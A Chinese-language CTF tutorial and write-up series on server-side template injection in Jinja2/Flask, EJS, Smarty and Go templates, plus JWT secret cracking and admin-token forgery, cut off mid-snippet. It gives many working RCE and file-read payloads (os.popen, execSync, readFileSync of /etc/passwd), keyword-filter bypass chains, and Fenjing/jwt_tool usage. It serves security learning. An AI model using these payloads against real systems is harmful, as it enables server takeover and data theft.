SSTI

原理:

SSTI 注入 – Hello CTF

Jinja2 举例,Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。

一般我们先在可疑的地方尝试插入简单的模板表达式,比如 {{7*7}}{{ config }},看看是否能在页面上显示预期结果,以此确定是否有注入点。

几个知识点:

  • 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表 []、一个字符串 "" 或一个字典 {} 时,你实际上是在创建不同类型的对象。
  • 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
  • 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似 __class__ 的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。

可以把我们在 SSTI 做的事情抽象成下面的代码:

class O: pass # O 是基类,A、B、F、G 都直接或间接继承于它
# 继承关系 A -> B -> O
class B(O): pass
class A(B): pass

# F 类继承自 O,拥有读取文件的方法
class F(O): def read_file(self, file_name): pass

# G 类继承自 O,拥有执行系统命令的方法
class G(O): def exec(self, command): pass

比如我们现在就只拿到了对象 A,但我们想读取目录下面的 flag ,于是就有了下面的尝试:

找对象 A 的类 – 类 A -> 找类 A 的父亲 – 类 B -> 找祖先 / 基类 – 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G-> 构造利用方法-> 读写文件 / 执行命令

>>>print(A.__class__) # 使用 __class__ 查看类属性
<class '__main__.A'>
>>> print(A.__class__.__base__) # 使用 __base__ 查看直接父类/基类
<class '__main__.B'>
>>> print(A.__class__.__base__.__base__)# 查看父类的父类 (如果继承链足够长,就需要多个base)直到找到基类 <class 'object'>
<class '__main__.O'>
>>>print(A.__class__.__mro__) # 直接使用 __mro__ 查看类继承关系顺序
(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.O'>, <class 'object'>)
>>>print(A.__class__.__mro__[3].__subclasses__()) # 查看祖先下面所有的子类(这里假定祖先为 object)
[<class '__main__.0'>, <class '__main__.F'>, <class '__main__.G'>]

类似这种 拿基类( object 是所有类的基类 ,用 __base__ 或者 __bases__[] 或者 __mro__[] 拿基类获取到 <class ‘object’> 后,__subclasses__ 才能读到完整所有的子类) -> 找可以利用子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。

>>>''.__class__.__base__
<class 'object'>
 
>>>''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>,......]

通过拿基类 <class ‘object’> 后再 __subclasses__() 拿到所有子类后,如何找到可以利用的子类?

脚本:

a=''' 这里放入查出的子类 '''
a=a.split(',')
num=0
for i in a:
    if '<class \'os._wrap_close\'>' in i:  # ' ' 里放入要查找的子类,比如 os._wrap_close(记得转义单引号)
        print("num:",num)
    num+=1
 
print("end")

记住几个包含 eval 执行函数的类:

warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

获取可以利用的子类后,__init__ 初始化对象,__globals__ 获取函数方法合集,并确定存在内建 eval 函数 ,但是不能通过 __init__.__globals__['eval'] 直接利用 eval ,必须通过 __builtins__ 方法。

__builtins__ 方法:

__builtins__ 是 Python 中的一个内置模块,包含了 Python 解释器的所有内置函数、异常、类型和其他对象。它在每个 Python 环境中都可用,是一个非常重要的命名空间,通过 __builtins__,你可以访问 Python 的所有内置对象,比如 print()eval()open() 等。

比如:

#方法一
{{ __builtins__.eval('__import__("os").system("id")') }}
 
#方法二
{{ __builtins__['eval']('__import__("os").popen("env").read()') }}

在第一个方法中,使用了 __builtins__.eval 来直接访问 eval。
在第二个方法中,使用了 __builtins__['eval'],这其实是通过字典的方式获取 eval 函数。虽然效果相同,但这种方式可能绕过一些模板引擎的限制(如果模板引擎对方法名进行了限制)。

以 jinja2 为例,因为 Jinja2 是 flask 的模板,所以在里面我们可以用到一些 flask 的变量和函数,例如 request, url_for。他们一般就有 __builtins__,这样我们就不用费力找可以 getshell 的子类了。

{{url_for.__globals__["__builtins__"]["exec"]}}
{{request.__init__.__globals__["__builtins__"]["exec"]}}

url_for还可以拿到当前运行的 flask 实例,从而拿到 flask 运行时的一些设置:{{url_for.__globals__["current_app"]["secret_key"]}}

与文件或者命令有关的函数有

eval()
exec()
open()

内置属性+魔术方法

__class__        # 类的一个内置属性,表示实例对象的类
__base__         # 以字符串返回一个类所直接继承的第一个类,即类型对象的直接基类,一般情况下是object 
__bases__        # 以元组的形式返回全部基类(直接父类)
__mro__          # 即方法解析顺序,返回的是一个类元组,搭配索引使用获取基类;例如:>>>().__class__.__mro__[1] 来获取 <class 'object'>
__subclasses__() # 返回这个类的子类列表
__init__         # 初始化类,返回的类型是 function
__globals__      # 以字典的形式返回 function 所处空间下可使用的 module、方法以及所有全局变量。
__dic__          #类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()
'''
实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
'''
__getitem__      # 提取元素,或者说调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__     
''' 
内建模块的引用,在任何地方都是可见的(包括全局),这个模块包括了很多强大的内置函数,如eval, exec, fopen等
'''
__import__       # 导入模块
__str__()        #返回描写这个对象的字符串,可以理解成就是打印出来

url_for          #flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages #和 url_for 一样
lipsum           #flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app      #应用上下文,一个全局变量

jinja2 过滤器:xxxxxx

常见的一些过滤:

过滤掉数字

利用 jinjia2过滤器 ”|length 或者 ord(”)

过滤了下划线 ‘_’

使用编码绕过

使用十六进制编码绕过,_ 编码后为 \x5f. 编码后为 \x2E

可以写一个 python 脚本转换:

string1="__class__"
string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
def tohex(string):
  result = ""
  for i in range(len(string)):
      result=result+"\\x"+hex(ord(string[i]))[2:]
  print(result)
 
tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
print(string2) #__class__

request 绕过:

request 方法:

request #可以用于获取字符串来绕过。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()

{{""[request.values.x1]}}     # 参数传递(GET|POST都可)

{{""[request.args.x1]}}&x1=__class__   # GET方法传参

{{""[request.form.x1]}}
	POST: x1=__class__             # POST方法传参,(Content-Type:application/x-www-form-urlencoded或multipart/form-data)

{{""[request.headers.x1]}}
	x1: __class__                  # headers 请求头

{{""[request.user_agent.string]}}
	User-Agent: __class__          # User-Agent

{{""[request.cookies.x1]}}
	Cookie: x1=__class__           # Cookie

[request.json]                         # post 传 json  (Content-Type: application/json)

示例:

{{''[request.args.v1][request.args.v2][1][request.args.v3]()[165][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()

过滤了点 ‘.’

可以使用 [] 、attr() 、getattr() 来绕过。

{{().__class__.__base__}}
{{()["__class__"]["__base__"]}}
{{()|attr("__class__")|attr("__base__")}}
{{getattr('',"__class__")}}#依赖于 python 环境,不同环境可能会报错

其中 |attr() 为 jinja2 原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。

过滤了中括号 ‘[ ]’ 和点 ‘.’

在 python 里面可以用以下方法访问数组元素:

my_list = ["yema","love","forgiven"]
result = my_list[1]
#result = my_list.pop(1)
#result = my_list.__getitem__(1)
print(result);

getitem() 方法输出序列属性中某个索引处的元素,相当于 []

尝试:

#原 payload:
{{''.__class__.__base__.__subclasses__()[165].__init__.__globals__['popen']('ls /').read()}}

#利用过滤器 |attr() 和 python 函数 getattr()
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"),"popen")("ls /"),"read")()') }}

过滤了 {{ 和 }}

利用 Jinja2 的{% %}标签配合打印语句

{% print ''.__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()') %}

#或者
{% print ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"), "popen")("ls /"),"read")()') %}

控制流标签配合打印来判断代码是否成功执行:

{% if ''.__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()') %}xxx{% endif %}

这种方式会在条件为真(true)时显示 xxx ,可以通过是否显示来判断执行结果。当表达式执行出错时(如语法错误、函数不存在等),模板引擎可能会抛出错误信息并显示在页面上,通过这种方式可获取执行结果或调试信息。

过滤了黑名单关键字

用字符串拼接绕过

['__cla'+'ss__'] == ['__cla''ss__']

转置

''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse 即 {{''["__ssalc__"|reverse]}}

str 内置方法

''.__class__ == ''['__cTass__'.replace("T","l")]
#字符串的替换,还可以使用过滤器 {{''["__claee__"|replace("ee","ss")]}}
''['__CLASS__'.lower()]

利用 join() 函数绕过

感觉很难利用上 xD

join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。

//语法
str.join(sequence)

sequence — 要连接的元素序列,该函数会返回通过指定字符连接序列中元素后生成的新字符串。

比如,题目过滤了关键字 flag ,

{{''.__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
{{''['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[165]("fla".join("/g")).read()}}

实际是将字符串 ‘fla’ 作为拼接时的分隔符,可迭代对象 ‘/g’ 被拆分为两个字符:’/’ 和 ‘g’ ,用 ‘fla’ 作为分隔符拼接 ‘/’ 和 ‘g’ 两个字符,最终结果为:'/flag'

//标准写法
"fla".join(["/", "g"]) == /flag

利用编码绕过

Unicode 编码:

# 编码前
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
 
# 编码后
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

hex 编码绕过:

# 编码前
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
 
# 编码后
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

不能直接使用 ‘base64_str’.decode(‘base64’) 这样 base64 编码的方式绕过关键字过滤。在 Flask 框架中,.decode('base64') 这种写法在 Python 3 环境下已经不推荐使用,且存在兼容性问题,在 Python 3 环境中,字符串(str 类型)本身没有 decode() 方法,只有字节流(bytes 类型)才有。

绕过单双引号

利用 request 绕过

{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__[request.args.a](request.args.b)}}&a=eval&b=__import__("os").popen("cat /flag").read()

练习

Web13-1 Hello, SSTI!

hint:最简单的 Flask SSTI!开始你的 SSTI 之旅吧!

本题的 flag 被分成两个部分。前半部分被设置为 Flask 的 secret_key,后半部分在服务器的 /flag 文件中。之后的题目除非特殊说明, flag 均在 /flag 文件中。

注入过程:

{{().__class__.__base__}} //拿基类
{{().__class__.__base__.__subclasses__()}} //拿子类

使用 <class 'warnings.catch_warnings'>

定位到 165 ,

初始化对象,获取函数方法合集,并确定存在内建 eval 函数:

{{().__class__.__base__.__subclasses__()[165].__init__.__globals__}}

由于 eval 在全局域中是一个 built-in function 即 内置函数 ,所以我们无法直接通过__globals__['eval'] 来直接调用内置函数,Python 的内置函数和对象通常是全局可用的,但它们通常不是函数内部的一部分。因此,要在函数内部访问内置函数(如 eval)或内置对象(如 os),需要通过 __builtins__ 来访问。

{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}

拿到后半 flag: 17-91e2-c16b4dc83e79}

另一半 flag 位于 flask 的 secret_key 中,查看 flask 的配置文件的全局变量

{{ config }}

完整 flag{0bc3d19b-0fda-4117-91e2-c16b4dc83e79}

Web13-2 没有数字

hint: 我数学不好,所以不能有任何的数字,flag 在 /flag 文件中。

def check_blacklist(name):
    blacklist = "0123456789"
    for item in blacklist:
        if item in name:
            return True
    return False

{{ config }} 测试有预期输出,说明是模板注入。

然后 check_blacklist() 规定模板表达式不能有任何的数字。

尝试:

{{ config }}
{{().__class__}}
{{().__class__.__base__}}
{{().__class__.__base__.__subclasses__}}
//查找 <class 'warnings.catch_warnings'> 的索引为165

利用能将非数字转换成数字的函数来生成数字,比如 len(“xxxxxxx”),ord(‘x’)
{{ ''.__class__.__base__.__subclasses__()[len('a')*len('b')] }}
因为 len(”)=0,len(‘a’)*len(‘b’)=1*1=1,避开直接使用数字

构造 ord(‘A’) * len(‘AA’) + (ord(‘a’) – (ord(‘B’) – len(‘AAAA’))) 即 65*2 + (97-(66-4)) = 65×2 + 35 = 165

{{().__class__.__base__.__subclasses__()[ord('A') * len('AA') + (ord('a') - (ord('B') - len('AAAA')))]}

html 报错:

写一个有同样功能的脚本,尝试访问 / 的时候,返回 {{ len(‘a’) }} 的模板解析结果

from flask import Flask, render_template_string
app = Flask(name)
@app.route("/")
def home():
return render_template_string("{{ len('a') }}")
return render_template_string("{{ ord('a') }}")
app.run()

报错:jinja2.exceptions.UndefinedError: 'len' is undefined

jinja2.exceptions.UndefinedError: 'ord' is undefined

Jinja2 有严格的沙箱机制,只允许使用其预定义的全局函数和过滤器(如 rangelength 等),不支持直接调用 Python 内置函数,而是通过过滤器实现类似功能。所以使用 python 内置的 ord() 和 len() 函数会报错。 len() 对应的 Jinja2 过滤器是 length,需用 |length 语法。

所以利用 |length 和乘法构造 165 的索引:

{{().__class__.__base__.__subclasses__()['aaaaaaaaaaa'|length*'aaaaaaaaaaaaaaa'|length]}}

也可以利用 <class 'os._wrap_close'> 这个类,索引为155

{{().__class__.__base__.__subclasses__()['aaaaaaaaaaa'|length*'aaaaaaaaaaaaaaa'|length].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()['aaaaaaaaaaa'|length*'aaaaaaaaaaaaaaa'|length].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}

Web13-3 没有下划线

hint: 这回被制裁的是 _

利用 hex 编码绕过 _ 过滤

\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f //即__class__
\x5f\x5f\x62\x61\x73\x65\x5f\x5f //即 __base__
\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f //即__subclasses__

尝试:

但是对 ()__class__.__base__.__subclasses__() 获取不了 object 基类,对引号可以

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']}} 可以获取到 object 基类

{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']}} 却不可以获取到 object 基类

获取到 object 基类后用 subclasses 获取全部的子类

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()}}

利用 <class ‘warnings.catch_warnings’> ,索引 165

payload:

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[165]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['eval']('\x5f\x5fimport\x5f\x5f("os").popen("cat /flag").read()')}}


{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}

Web13-4 没有中括号和点

hint:这一题里你没有的是 [] 和 .

{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')

尝试:

{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__builtins__')|attr('__getitem__')('eval')('__import__("os")|attr('popen')("ls /")|attr('read')()')}}

结果返回 500 界面,|attr() 过滤器只能在 jinja2 使用,在 python 内部无法使用,所以 eval 里面不能使用过滤器来绕过 ‘.’ ,

利用 Python 的 getattr() 函数来替代属性访问。

getattr(obj, "attribute") 替代了 obj.attribute 的点号访问方式

getattr(__import__("os"),"popen") 等价于 os.popen,避免了使用点号

保持了外部的 |attr("read")() 过滤器链,因为这部分不在 eval 内部执行

{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(__import__("os"),"popen")("ls /")|attr("read")()') }}

但是依旧返回 500 界面,最终 eval 内部所有操作都使用 getattr() 完成

payload:

{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"), "popen")("ls /"),"read")()') }}

Web13-5 没有{{和}}

hint: 你好像很懂 ssti?现在我把 {{ 和 }} 去掉了你还能 ssti 么?

{{}}被过滤时,我们需要利用 Jinja2 模板引擎的其他语法特性来注入代码,比如利用 Jinja2 的{% %}标签(无回显)配合 print 打印语句

payload:

{% print ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(165)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"), "popen")("ls /"),"read")()') %}

Web13-6 不批准的单词

hint: 听说这些单词不吉利,所以你的名字里也不能出现:

blacklist = ["flag", "class", "globals", "builtins", "import", "open", "system", "cat", "read"]

{{''['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[165].__init__['__glo'+'bals__']['__buil'+'tins__']['eval']}}

获取内置函数 eval,因为 eval 可以将字符串当成 Python 表达式执行,拿到这个函数之后,就可以用 eval 函数执行任意 Python 表达式了。

然后 eval("__import__('os').popen('tac /f*').read()") 是将字符串 __import__('os').popen('tac /f*').read() 当成 Python 表达式执行,也就是读取 /f* 文件的内容。因为这里要绕过过滤,所以将这个字符串进行打破拼接 “__imp”+”ort__(‘os’).po”+”pen(‘tac /f*’).re”+”ad()” (这里用加号连接两个双引号包裹的字符串)

注意单双引号,

eval("imp'+'ort");//eval 的字符串是 imp'+'ort
eval("imp"+"ort");//eval 的字符串时 import

payload:
{{''['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[165].__init__['__glo'+'bals__']['__buil'+'tins__']['eval']('__imp'+'ort__("os").po''pen("tac /f*").re'+'ad()')}}

Web13-7 没有引号

不能有引号,也就是 ' 和 "

request 绕过:

{{().__class__.__mro__.__getitem__(1)}}
{{().__class__.__mro__.__getitem__(1).__subclasses__()}}
{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__[request.args.a](request.args.b)}}&a=eval&b=__import__("os").popen("cat /flag").read()

b =__import__("os").popen("cat /flag").read() 实际上是 flag{xxxxx}

eval() 是一个内置函数,用于执行存储在字符串中的 Python 表达式并返回表达式的值。而 eval(“flag{xxxxx}”) 把 flag{xxxxx} 作为代码执行。

尝试:

{{().__class__.__base__.__subclasses__()[165].__init__.__globals__.__builtins__[request.args.a](__import__(request.args.b).popen(request.args.c).read())}}&a=eval&b=os&c=cat /flag

会报错,因为 __import__(request.args.b).popen(request.args.c).read()) == flag{xxxxx} ,而 eval(flag{xxxxx}) 无法将 flag{} 当做表达式执行。

比如尝试

a=eval&b=__import__(request.args.c).popen("notepad").read()&c=os

表明 eval 内无法使用 request ,并且 request 模块是 flask 框架里的。

或者可以用常规 ssti 通杀工具 Fenjing 解题:

SSTI模板注入-中括号、args、单双引号被过滤绕过(ctfshow web入门365)_ssti过滤引号-CSDN博客

Web13-8 大杂烩500 pts

考验你 Flask SSTI 真正实力的时候到了!

blacklist = ["'", "\"", "request", "[", "]", "_", "{{", "}}", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "flag", "class"]

{%set gl=dict(GLOBALS=i)|first|lower%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set rq=la+la+la%}{%set hl=la+la%}{%set yz=la+la+la+la%}{%set yg=la+la+la+la+la%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set fz=bb+la+la+la%}{%set nt=e|slice(((hl)*(fz)+yg))|string|batch(((hl)*(fz)+yg))|first|last%}{%set eq=nt+nt+dict(EQ=i)|first|lower+nt+nt%}{%set ky=(lipsum()|urlencode|first)%}{%set fq=ky+dict(c=i)|join%}{%set qd=bb+la%}{%set jw=bb+la+la%}{%set ca=(fq*fz)%((lla)*(fz),((fz+la)*(fz)+qd),(((rq)*(fz)+hl))*(yz),(jw)*(yz),((yg)*(fz)+hl),(lla+bb)*(bb),(lla+la)*(fz),((fz+la)*(fz)+qd),((lla)*(fz)+yz))%}{%print ((OvO|attr(eq)|attr(nt+nt+gl+nt+nt)).sys.modules.os.popen(ca)).read()%}

参考文章:

细说Jinja2之SSTI&bypass_bypass ssti-CSDN博客

Python中的SSTI之Jinja2 – Jaren’s Blog

SSTI模板注入 | Antel0p3’s blog

CTF Jinja SSTI常规题通杀工具

GitHub – Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF

使用pip安装运行

pip install fenjing
python -m fenjing webui

使用

webui

启动网页 UI, 只需要 python3 -m fenjing webui 然后访问 http://127.0.0.1:11451 即可。

这里根据自己 python 版本来启动,前面 pip 安装也是,保持统一。

参考官方文档使用 webui,指定参数并自动攻击

在左边填入参数(如目标链接和请求方式等)并点击开始分析,然后在右边输入执行命令即可,如下方展示:

scan

在终端可以用 scan 功能,猜测某个页面的参数并自动攻击:

python -m fenjing scan --url 'http://xxxx:xxx/yyy'

crack

也可以用crack功能,手动指定参数进行攻击:

python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET

这里提供了 aaa 和 bbb 两个参数进行攻击,并使用 --detect-mode fast 加速攻击速度

crack-request

还可以将HTTP请求写进一个文本文件里(比如说 req.txt)然后进行攻击

文本文件内容如下:

GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

命令如下:

python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000

crack-keywords

如果已经拿到了服务端源码 app.py 的话,可以自动提取代码中的列表作为黑名单生成对应的 payload

命令如下:

python -m fenjing crack-keywords -k app.py -c 'ls /'

Ejs 模板引擎注入

EJS 是一个 javascript 模板库,用来从 json 数据中生成 HTML 字符串,使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写 js 一样 Coding 。

Web13-9 ejs的SSTI

什么,我用 ejs 的,这也有 ssti ?(ejs 是 nodejs 的一个模板引擎)

<%=123*321%> 测试是否有注入点,返回

说明存在 ejs 的ssti 漏洞。

文件读取

引入 fs ,可以对文件进行读取操作。比如读取 passwd 或者 flag 文件。

<%=global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString();%>	
<%=global.process.mainModule.require('fs').readFileSync('/flag').toString();%>

文件写入

通过引入 fs ,可以对文件进行写入操作。例如写入 1.html 文件,然后登录服务器查看文件(可能存在权限不足的问题,比如当前用户为 nobody 等,没有在当前目录下创建或写入文件的权限)。

<%=global.process.mainModule.require('fs').appendFileSync('./1.html','test','binary')%>

命令执行

通过 child_process,执行系统命令。

<%=global.process.mainModule.require('child_process').execSync('whoami').toString();%>
<%=global.process.mainModule.require('child_process').execSync('ls /').toString();%>
<%=global.process.mainModule.require('child_process').execSync('cat /flag').toString();%>	

Smarty 的模板注入

Web13-10 Smarty的SSTI500 pts

hint: 什么,我用 Smarty 的,这也有 ssti ?(smarty 是 PHP 的一个模板引擎)

查看当前 Smarty 版本号{$smarty.version}

fetch 读取文件,比如:

{fetch file="/etc/passwd"}

{fetch file="/etc/profile"}

最终 payload: {fetch file="/flag"}

JWT 的模板注入

JWT 由头部 Header 、有效载荷 Payload 和签名 Signature 三部分组成:

头部(Header):指定令牌的类型 typ(JWT 令牌的头部统一写作“JWT”)和使用的签名算法 alg ,默认为 HMAC SHA256,写成 HS256。

{
 "alg": "HS256",
 "typ": "JWT"
}

有效载荷(Payload):用来存放需要传递的数据。包含用户的身份信息及其他数据,称为“声明(Claims)”。JWT 规定了7个官方字段,供选用;除了官方字段,也可以定义私有字段

iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

签名(Signature):为了确保令牌没有被篡改,服务器会用一个密钥和 Header 里面指定的签名算法(比如 HS256)对头部和有效载荷进行加密生成签名。

三个部分的内容用 base64 编码后用 . 连接,被返回给用户。

Web13-11 Genshking

http 请求、 jwt 伪造、Go 语言的 ssti 。

随便注册登录一下,用户名为 user ,密码为 passwd 。

跳转到一个静态页面:

用 postman 抓包,先对 /register 注册一个用户名 username 为 user ,密码 password 为 passwd 的用户然后在 /login 页面登录看到当前用户信息:

当前用户名为 user ,余额50元,然后提示我们支付 admin 余额获取创世结晶。可以想到伪造成 admin 这样我们支付给自己余额不变就有无数的创世结晶。

尝试用户伪造看 Cookie ,发现 token 是 jwt 格式(一串用 . 分隔成三段的字符串,包括头部、载荷和签名)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjAxODI1NjksInVzZXJuYW1lIjoidXNlciJ9.Bl2szWxbVYN5C_lXLom_Lemv0444z5VYp3lidPTK0g8

随便找一个 JWT 在线解析网站

尝试伪造 token ,使 username 内容为 admin 。

利用工具 jwt_tool

GitHub – ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

使用方法:

先在 jwt_tool 这个文件夹运行 python3 -m venv . && . bin/activate 启动虚拟环境

ps: 虚拟环境就是一个隔离的 python 环境。python -m venv . 是在当前目录创建虚拟环境,

. bin/activate 是激活,创建只需要创建一次,之后就激活就行。

然后提示需要安装一些依赖:termcolor、cprint、pycryptodomex、requests、ratelimit

可以执行 python3 -m pip install xxxx xxxx为所需装的依赖,一个一个安装好。

也可以执行 python3 -m pip install -r requirements.txt 一次性下载,当前目录下有个 requirements.txt 含有所需的全部依赖。

chmod +x jwt_tool.py

python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjAxODI1NjksInVzZXJuYW1lIjoidXNlciJ9.Bl2szWxbVYN5C_lXLom_Lemv0444z5VYp3lidPTK0g8" -C -d ../../rockyou.txt

获取得到密钥为 secret ,在 JWT 在线解析网站修改密钥为 secret 以及将 username 修改为 admin 即可伪造成功。

拿到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjAxODI1NjksInVzZXJuYW1lIjoiYWRtaW4ifQ.1NKFnfVseUEQO1UiqCKHhmc2PWLE9wRJFOx1EM7EyjY

修改 token 内容和username

Post 发送请求后可以看到当前用户名变为 admin ,伪造成功。

向 /consume 以 POST 方式传入 amount = 30 :

获取到300创世结晶且因为我们是 admin 所以余额不变。尝试多注册几个用户,这样他人向 admin 支付我们 admin 账户余额就会增加,这样可以减少我们提交 amount 凑够64800创世结晶的次数。(注册了三个用户向我们 admin 支付了50,这样就有了200了,诶嘿₍˄·͈༝·͈˄*₎◞ ̑̑

按照前面流程修改 token 和 username 换回 admin 身份,继续对 /consume 提交 amount = 200,然后我们就有了64800创世结晶。

查看反馈界面 /feedback

尝试模版注入点:

{{2*2}} 和 <%=123*321%> 以及 {$smarty.version} 反馈失败或反馈内容回显不对,尝试 {{.}} 成功

ps: {{.}} 表示当前对象,如 user 对象

提示我们访问 /help/feedback/funcs

给了我们一个 ExecuteCode 函数,

"ExecuteCode": func(code string) string {
    cmd := exec.Command("sh", "-c", code)
    output, err := cmd.CombinedOutput()
